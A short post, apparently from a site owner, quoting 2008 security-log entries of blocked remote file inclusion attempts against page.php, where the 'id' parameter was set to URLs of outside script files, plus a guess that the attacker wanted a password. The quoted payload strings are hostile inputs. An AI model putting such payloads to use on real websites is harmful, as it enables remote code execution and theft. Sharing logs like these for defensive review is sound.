I checked the log today, very weird over here:
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* 2008-12-21 15:14 **.**.**.*** Security A variable type check failed, expecting 1/INT for 'id' : 81//page.php?id=http://inamsan.kg.kr/emt/id.txt??? - /page.php?id=81//page.php?id=http://inamsan.kg.kr/emt/id.txt???
* 2008-12-21 15:14 **.**.**.*** Security A variable type check failed, expecting 1/INT for 'id' :
http://inamsan.kg.kr/emt/id.txt??? - //page.php?id=http://inamsan.kg.kr/emt/id.txt???
* 2008-12-21 15:05 ***.***.***.*** Security A variable type check failed, expecting 1/INT for 'id' : 81" class="searchlinktitle" title="www.igfxdesigns.co.uk/page.php?id=81" onMouseOver="window.status='www.igfxdesigns.co.uk//page.php?id=http://www.acewaste.com.au/content/robo.txt??? - /page.php?id=
* 2008-12-21 15:05 ***.***.***.*** Security A variable type check failed, expecting 1/INT for 'id' :
http://www.acewaste.com.au/content/robo.txt??? - //page.php?id=http://www.acewaste.com.au/content/robo.txt???
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Seems like he tried to get userid1's password.